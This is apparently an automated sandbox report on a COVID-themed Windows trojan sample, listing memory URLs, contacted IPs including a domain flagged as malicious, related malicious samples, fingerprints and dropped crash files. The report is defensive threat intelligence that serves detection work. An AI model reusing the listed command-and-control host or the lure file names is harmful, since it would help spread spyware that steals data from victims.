https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%2	dwnl.exe, 00000021.00000002.500413972.0000000002E93000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499311102.0000000002D07000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.geodatatool.com/en/?ip=	dwnl.exe, 00000021.00000002.500097152.0000000002E14000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://james.newtonking.com/projects/json	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.orgD8	dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
https://www.gnu.org/licenses/gpl-3.0.html	UK COVID UPDATES AND ENTITLEMENT.exe	false		high
http://www.founder.com.cn/cn	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.newtonsoft.com/jsonschema	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	false		high
http://www.fontbureau.com/designers8	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	false		high
http://ns.ado/1k	dwnl.exe, 00000021.00000002.505061578.00000000088C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.geodatatool.com/en/?ip=84.17.52.51	dwnl.exe, 00000021.00000002.500865912.0000000002F78000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499712859.0000000002DB7000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499993067.0000000002E05000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499842300.0000000002DED000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.org	dwnl.exe, 00000021.00000002.500760473.0000000002F24000.00000004.00000001.sdmp	false		high
https://i.imgur.com/GJD7Q5y.png195.239.51.11795.26.248.2989.208.29.13389.187.165.4792.118.13.1895.26	dwnl.exe, 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
91.193.75.202	tobi12345.hopto.org	Serbia	209623	DAVID_CRAIGGG	true
172.67.188.154	freegeoip.app	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	481891
Start date:	13.09.2021
Start time:	06:29:10
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 7s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	UK COVID UPDATES AND ENTITLEMENT.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/14@101/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 16.9% (good quality ratio 12.1%) Quality average: 49.1% Quality standard deviation: 37.3%
HCA Information:	Successful, ratio: 98% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WerFault.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.82.209.183, 40.112.88.60, 173.222.108.226, 173.222.108.210, 20.82.210.154, 80.67.82.235, 80.67.82.211, 13.89.179.12 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, ris-prod.trafficmanager.net, wu-shim.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:30:13	API Interceptor	34x Sleep call for process: powershell.exe modified
06:31:51	API Interceptor	1x Sleep call for process: WerFault.exe modified
06:31:51	API Interceptor	4x Sleep call for process: dwnl.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
149.154.167.220	VzqyxdLij2.exe	Get hash	malicious	Browse
	PUcvjsKtXq.exe	Get hash	malicious	Browse
	SeptemberOrderlist.pdf.exe	Get hash	malicious	Browse
	4XIWeWhn85.exe	Get hash	malicious	Browse
	E9Vl6Ve253.exe	Get hash	malicious	Browse
	payment.exe	Get hash	malicious	Browse
	doc_306_01.exe	Get hash	malicious	Browse
	FYI- Invoice Inquiry.exe	Get hash	malicious	Browse
	Docs.exe	Get hash	malicious	Browse
	PAYMENT CONFIRMATION.exe	Get hash	malicious	Browse
	Dhl shipment.exe	Get hash	malicious	Browse
	P.O# 21-1477.exe	Get hash	malicious	Browse
	zHKzt27UuL.exe	Get hash	malicious	Browse
	Dhl Shipment.exe	Get hash	malicious	Browse
	Dhl Shipment.exe	Get hash	malicious	Browse
	yGY3UQymu4.exe	Get hash	malicious	Browse
	PAYMENT RECEIPT-WONDERFUL.exe	Get hash	malicious	Browse
	p5.exe	Get hash	malicious	Browse
	stl.exe	Get hash	malicious	Browse
	lPMUkegdms3pCXH.exe	Get hash	malicious	Browse
158.101.44.242	MSDS.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	QUOTATION.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Quote price.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	RBDcJa42oj.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	swift.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	4700321002.pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	nwS3T6Nvhy.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	6cA7GG00xO.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	qhfLQzRlNQ.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	D0LnhFVo63.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Ke2iHyCpoU.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	SWIFT CONFIRMATION COPY.xlsm	Get hash	malicious	Browse	checkip.dyndns.org/
	00971-210426-0001 PROFORMA INVOICE.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	MACHINE SPECIFICATION.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	MPp7XjjA53.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	CCEI7Me0mr.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	2U6To4heIpeUbph.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Quote.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	BREAK UP.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	PI - ORDER IS01AU17.exe	Get hash	malicious	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
tobi12345.hopto.org	eZOY9Nl4B3.exe	Get hash	malicious	Browse	91.193.75.202
	Scanned Document 0004.doc	Get hash	malicious	Browse	91.193.75.202
	6fdp2YGE5H.exe	Get hash	malicious	Browse	91.193.75.202
	rwN5UElDyK.exe	Get hash	malicious	Browse	91.193.75.202
	aFC88R0F9t.exe	Get hash	malicious	Browse	91.193.75.202
	tFFUols3tV.exe	Get hash	malicious	Browse	91.193.75.202
	Ecandes.doc	Get hash	malicious	Browse	91.193.75.202
	RFQ PO2021-297.doc	Get hash	malicious	Browse	91.193.75.202
	Scanned Document.exe	Get hash	malicious	Browse	91.193.75.202
	RFQ SCANNED DOCUMENT 001 pdf.pif.exe	Get hash	malicious	Browse	18.118.55.110
	oTqK7lDMSu.exe	Get hash	malicious	Browse	18.118.55.110
	Yx2ZEla5eh.exe	Get hash	malicious	Browse	18.118.55.110
	P-402-Enq- 36.1. Our Offer No.doc__.rtf	Get hash	malicious	Browse	18.118.55.110
	UPS SCANNED DOCUMENTS .tar	Get hash	malicious	Browse	18.118.55.110
	Qoutation MULCINIA.doc	Get hash	malicious	Browse	18.118.55.110
	z58E8dTiVo.exe	Get hash	malicious	Browse	18.118.55.110
	DOCUMENT NEW SCAN.doc	Get hash	malicious	Browse	18.118.55.110
	jiYTQKf5gO.exe	Get hash	malicious	Browse	194.5.98.210
youtube-ui.l.google.com	HSBC Payment Advice_Docx.exe	Get hash	malicious	Browse	142.250.180.206
	esROxxwm62.exe	Get hash	malicious	Browse	142.250.185.142
	37E292496F057CBBBA45F28B7510C8E4B555DCB2AD430.exe	Get hash	malicious	Browse	142.250.186.110
	Updated+payment+approval.docx	Get hash	malicious	Browse	142.250.186.174
	New Scanned Copy.html	Get hash	malicious	Browse	142.250.186.46
	Free Snipping Tool - 2.4.0.0.msi	Get hash	malicious	Browse	216.58.215.238
	spot.dll	Get hash	malicious	Browse	142.250.184.46
	spot.dll	Get hash	malicious	Browse	142.250.184.46
	http://www.microdentistry.com.ua/w/nyef.php	Get hash	malicious	Browse	172.217.21.14
	5D4JPYEWVY9WLIL.htm	Get hash	malicious	Browse	172.217.21.14
	Invoi-022.pdf	Get hash	malicious	Browse	172.217.21.14
	http://hp.myway.com	Get hash	malicious	Browse	172.217.168.78
	http://wc4.net/t?r=4082&c=6845&l=7092&ctl=312D:4031BC7C02131C503AC3E46DB49F1FA9A30AA4B210689492&	Get hash	malicious	Browse	172.217.168.46
	http://www.cooltourspain.com	Get hash	malicious	Browse	172.217.168.46
	CRA-USER-TAX-REFUND.pdf	Get hash	malicious	Browse	172.217.168.14
	Zy0M1WxyF2.exe	Get hash	malicious	Browse	216.58.215.238
	http://ebixa.mysupport.co.za/gbamazon/checkamazonorders/signlnAmazonE/	Get hash	malicious	Browse	216.58.207.174
	http://www.jomplan.com	Get hash	malicious	Browse	172.217.21.110
	http://An-Crimea.ru	Get hash	malicious	Browse	172.217.21.110
	http://kuhjgtfreda.tk/index/?1631501756857	Get hash	malicious	Browse	172.217.22.238

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TELEGRAMRU	VzqyxdLij2.exe	Get hash	malicious	Browse	149.154.167.220
	zfl3hUTQWN.exe	Get hash	malicious	Browse	149.154.167.99
	PUcvjsKtXq.exe	Get hash	malicious	Browse	149.154.167.220
	SeptemberOrderlist.pdf.exe	Get hash	malicious	Browse	149.154.167.220
	SxvDkdIwWW.exe	Get hash	malicious	Browse	149.154.167.99
	4XIWeWhn85.exe	Get hash	malicious	Browse	149.154.167.220
	E9Vl6Ve253.exe	Get hash	malicious	Browse	149.154.167.220
	payment.exe	Get hash	malicious	Browse	149.154.167.220
	doc_306_01.exe	Get hash	malicious	Browse	149.154.167.220
	WAa7VvnEeQ.exe	Get hash	malicious	Browse	149.154.167.99
	FYI- Invoice Inquiry.exe	Get hash	malicious	Browse	149.154.167.220
	Docs.exe	Get hash	malicious	Browse	149.154.167.220
	PAYMENT CONFIRMATION.exe	Get hash	malicious	Browse	149.154.167.220
	Dhl shipment.exe	Get hash	malicious	Browse	149.154.167.220
	0G3tkfF2hW.exe	Get hash	malicious	Browse	149.154.167.99
	P.O# 21-1477.exe	Get hash	malicious	Browse	149.154.167.220
	zHKzt27UuL.exe	Get hash	malicious	Browse	149.154.167.220
	Dhl Shipment.exe	Get hash	malicious	Browse	149.154.167.220
	Dhl Shipment.exe	Get hash	malicious	Browse	149.154.167.220
	yGY3UQymu4.exe	Get hash	malicious	Browse	149.154.167.220
ORACLE-BMC-31898US	4XIWeWhn85.exe	Get hash	malicious	Browse	193.122.6.168
	SecuriteInfo.com.Suspicious.Win32.Save.a.13626.exe	Get hash	malicious	Browse	193.122.130.0
	PAYMENT CONFIRMATION.exe	Get hash	malicious	Browse	193.122.6.168
	SWIFT COPY.exe	Get hash	malicious	Browse	193.122.130.0
	TaD.xlsx	Get hash	malicious	Browse	193.122.130.0
	New Contract.exe	Get hash	malicious	Browse	193.122.130.0
	sora.x86	Get hash	malicious	Browse	144.25.156.123
	arm7	Get hash	malicious	Browse	147.154.227.160
	iSkySoftSetup.exe	Get hash	malicious	Browse	193.122.130.0
	MSDS.exe	Get hash	malicious	Browse	158.101.44.242
	arm7	Get hash	malicious	Browse	129.147.169.34
	brZRQRhRpd	Get hash	malicious	Browse	132.145.12.86
	Purchase order.exe	Get hash	malicious	Browse	193.122.6.168
	QUOTATION.exe	Get hash	malicious	Browse	158.101.44.242
	IKUiRXwsnT.exe	Get hash	malicious	Browse	129.213.187.195
	987654222.exe	Get hash	malicious	Browse	193.122.6.168
	ohqWizkhxX	Get hash	malicious	Browse	140.238.98.56
	tW7pu9B8A0	Get hash	malicious	Browse	193.122.239.156
	jew.x86	Get hash	malicious	Browse	193.122.104.191
	rvKcGQuLPh.exe	Get hash	malicious	Browse	193.122.6.168
DAVID_CRAIGGG	TWM#U007e-04987474848GRRT.exe	Get hash	malicious	Browse	185.140.53.9
	BankSlip.exe	Get hash	malicious	Browse	185.140.53.226
	Bank-Slip.exe	Get hash	malicious	Browse	185.140.53.226
	HSBC -- Wire Transfer copy.exe	Get hash	malicious	Browse	91.193.75.173
	lol.exe	Get hash	malicious	Browse	185.140.53.216
	PO N. ordine 338390208B,pdf.exe	Get hash	malicious	Browse	185.140.53.11
	Confirma#U00e7#U00e3o do pedido _ Urgente,pdf.exe	Get hash	malicious	Browse	91.193.75.133
	Acil RFQ_AP65425652_032421.exe	Get hash	malicious	Browse	185.140.53.11
	Auftragsbest#U00e4tigung _ Dringend,pdf.exe	Get hash	malicious	Browse	91.193.75.133
	qkWaxZQ3dW.exe	Get hash	malicious	Browse	91.193.75.173
	HPEE IMAGES-SPECIFICATION ORDER - Copy.xlsm	Get hash	malicious	Browse	91.193.75.173
	profakturu .exe	Get hash	malicious	Browse	185.140.53.133
	eZOY9Nl4B3.exe	Get hash	malicious	Browse	91.193.75.202
	#RFQ SAMPLE PRODUCTS09062021.exe	Get hash	malicious	Browse	185.140.53.253
	zYxo0pwdJG.exe	Get hash	malicious	Browse	185.140.53.76
	dTwDEiaoKo.exe	Get hash	malicious	Browse	91.193.75.238
	Catalogue.xlsx	Get hash	malicious	Browse	91.193.75.238
	inv-m5.vbs	Get hash	malicious	Browse	185.140.53.69
	BGESdwd02R.exe	Get hash	malicious	Browse	185.140.53.142
	NBI Antiants Trading Pte ltd 09022021.exe	Get hash	malicious	Browse	185.140.53.253

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Q55oR43vHm.exe	Get hash	malicious	Browse	172.67.188.154
	LYgkO009MS.exe	Get hash	malicious	Browse	172.67.188.154
	setup_x86_x64_install.exe	Get hash	malicious	Browse	172.67.188.154
	1J5sT000kJ.exe	Get hash	malicious	Browse	172.67.188.154
	p38z7oEMj6.exe	Get hash	malicious	Browse	172.67.188.154
	SecuriteInfo.com.Win32.PWSX-genTrj.14465.exe	Get hash	malicious	Browse	172.67.188.154
	ocHB4ECVS2.exe	Get hash	malicious	Browse	172.67.188.154
	DcyCBedo25.exe	Get hash	malicious	Browse	172.67.188.154
	order#4475555.vbs	Get hash	malicious	Browse	172.67.188.154
	image374.vbs	Get hash	malicious	Browse	172.67.188.154
	SeptemberOrderlist.pdf.exe	Get hash	malicious	Browse	172.67.188.154
	chrome_setup.exe	Get hash	malicious	Browse	172.67.188.154
	o1aMDIMNPr.exe	Get hash	malicious	Browse	172.67.188.154
	14RjGK3Ida.exe	Get hash	malicious	Browse	172.67.188.154
	7l5FWM3R5g.exe	Get hash	malicious	Browse	172.67.188.154
	4XIWeWhn85.exe	Get hash	malicious	Browse	172.67.188.154
	E9Vl6Ve253.exe	Get hash	malicious	Browse	172.67.188.154
	Purchase Order No. 6095-SAP RFQ.exe	Get hash	malicious	Browse	172.67.188.154
	SHIPPING DOCUMENT AND PACKING LIST.exe	Get hash	malicious	Browse	172.67.188.154
	gj3wAaB4dX.exe	Get hash	malicious	Browse	172.67.188.154
3b5074b1b5d032e5620f69f9f700ff0e	New_Order_PO#96072380_MT_Quote.exe	Get hash	malicious	Browse	149.154.167.220
	LYgkO009MS.exe	Get hash	malicious	Browse	149.154.167.220
	setup_x86_x64_install.exe	Get hash	malicious	Browse	149.154.167.220
	VzqyxdLij2.exe	Get hash	malicious	Browse	149.154.167.220
	Fortnite hack.exe	Get hash	malicious	Browse	149.154.167.220
	Cheat.exe	Get hash	malicious	Browse	149.154.167.220
	PUcvjsKtXq.exe	Get hash	malicious	Browse	149.154.167.220
	Intaller.exe	Get hash	malicious	Browse	149.154.167.220
	SeptemberOrderlist.pdf.exe	Get hash	malicious	Browse	149.154.167.220
	YpfSI6Smpk.exe	Get hash	malicious	Browse	149.154.167.220
	GMcvStCBHM.exe	Get hash	malicious	Browse	149.154.167.220
	14RjGK3Ida.exe	Get hash	malicious	Browse	149.154.167.220
	4XIWeWhn85.exe	Get hash	malicious	Browse	149.154.167.220
	sidhal95TI.exe	Get hash	malicious	Browse	149.154.167.220
	E9Vl6Ve253.exe	Get hash	malicious	Browse	149.154.167.220
	FosJUcjom2.exe	Get hash	malicious	Browse	149.154.167.220
	payment.exe	Get hash	malicious	Browse	149.154.167.220
	PO64211083.exe	Get hash	malicious	Browse	149.154.167.220
	doc_306_01.exe	Get hash	malicious	Browse	149.154.167.220
	g7bmZXynSb.exe	Get hash	malicious	Browse	149.154.167.220

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_UK COVID UPDATES_486075b969a59cd72765fa73116b6be7e7e6b2_e618b1d5_1a9c786e\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	13644
Entropy (8bit):	3.7834725899024724
Encrypted:	false
SSDEEP:	192:LsHHNGjmHHBUZMXojoKd/4yh7Y/u7sJS274Itqo:wHHEjIBUZMXojHY/u7sJX4Itqo
MD5:	F285906C762250A62C2141359AAD7B9B
SHA1:	6183C5B602BD43D5DF624A47DF9A2F479145B789
SHA-256:	DC48CFAD8041AE31804AC99EDD6DD8009BBAF8F656D2E7AED235BB86185BFF5C
SHA-512:	944D7FD28685EE18B36EED61A3397020194898BA3986882F6A1F04DF33E2D1DC4CBE02F03AA8D9FE2851A09BCB85B9D51A669D9BCC33903EABBFDC66CE2D584A
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.6.0.1.3.5.0.2.2.1.2.5.3.3.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.6.0.1.3.5.0.9.8.6.8.7.7.3.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.6.c.4.6.6.b.b.-.b.b.9.1.-.4.3.3.d.-.9.0.8.c.-.c.c.9.b.d.c.9.d.0.2.3.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.b.8.1.4.b.c.a.-.6.a.d.0.-.4.a.0.7.-.a.1.0.1.-.3.a.7.5.c.9.6.e.e.5.7.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.U.K. .C.O.V.I.D. .U.P.D.A.T.E.S. .A.N.D. .E.N.T.I.T.L.E.M.E.N.T...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.U.K. .C.R.Y.P.T.E.D...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.4.0.-.0.0.0.1.-.0.0.1.6.-.c.5.c.d.-.2.8.a.8.a.3.a.8.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.a.e.7.e.3.a.a.7.7.1.5.4.f.d.a.a.a.2.9.4.9.5.f.f.e.8.4.8.6.8.1.0.0.0.0.0.0.0.0.!.0.0.0.0.8.d.d.1.e.1.8.5.2.4.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER546B.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Sep 13 13:31:44 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	121074
Entropy (8bit):	1.803198634627459
Encrypted:	false
SSDEEP:	384:G+zMM3qvVqezfzJHqIP88Rb5tJQUc3t/C5SFX8UsU1FBGE1vbsajE+8nd3Oid2:5JaNqsN6/C5S5sGt1vhWVOid2
MD5:	A065949F6D23085D032E80460848B443
SHA1:	9F7AC42B6EA017BD2371F13D808BD47442AEACA8
SHA-256:	38B7603AE2D8EFF848214F7CC7A8BCC3A5A871B9E0C15C629B95D521EC64B76F
SHA-512:	E8BB27AE5B3E2E1904C0F0640A55999C39E65BB1F0B400F533B0494DAAC04930EAE04666D7A27A10F6A1C6865F3175628C4F4392281B9EC7335A44A590A82CE2
Malicious:	false
Reputation:	low
Preview:	MDMP....... ........R?a...................U...........B.......%......GenuineIntelW...........T.......@....R?a.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6034.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8370
Entropy (8bit):	3.714320996100267
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiTh6Qe6YBQv6fgmfP4N8SmCprS89bBEsfGLm:RrlsNiV6Qe6YSv6fgmfP4yS1B3fr
MD5:	6886632E920C76690A14C131740AB400
SHA1:	8CC1F948E0A606103B68AEAFD23702576EAA0C6C
SHA-256:	E16B4F8699FD72A314BC7E5B7C97E10C151F7D9B6E60ACB7020104FF1C75D74A
SHA-512:	728F408AECA935652E8FEB8858EF04FD6F1031F503DE12B5EB25CD929876AB7669EAC75A68D0C6F3B764D06B66C5520FF91F315C7192BF9DB4640CD3B0017E79
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.2.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6380.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4756
Entropy (8bit):	4.57980187413012
Encrypted:	false
SSDEEP:	48:cvIwSD8zsEJgtWI9B9WSC8B18fm8M4JFKxKcPFyPI+q80K/IKAJIKTAKTVd:uITfC2MSN4JFg+wVTKAJIMAMVd
MD5:	36A37E728DE2F37755F6D74520E203A4
SHA1:	2FAAB5F37BA4B1E07B560F96C6F40300BABF658D
SHA-256:	78BE74FF53E758E9925F2C0427218F42B8835BAE1EA6CF84E291F4DF70571035
SHA-512:	173B53BBFD6F04C8EBE18B33CD252411B5EC5D74EF3481DCC0BACC2D9C2C04D51C45AD445013DD162DCC62EB8AD72B8D0DE9BE82D844A6436504A31AEF833B61
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1164882" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UK COVID UPDATES AND ENTITLEMENT.exe.log Download File
Process:	C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1299
Entropy (8bit):	5.353835388147306
Encrypted:	false
SSDEEP:	24:ML9E4Ks29E4Kx1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4xLE4qE4j:MxHKX9HKx1qHiYHKhQnoPtHoxHhAHKzg
MD5:	AF875EF12EC8CA8826A4584E49C03997
SHA1:	93DAD5BDC72F5CF69BB990987C406F3077A795FE
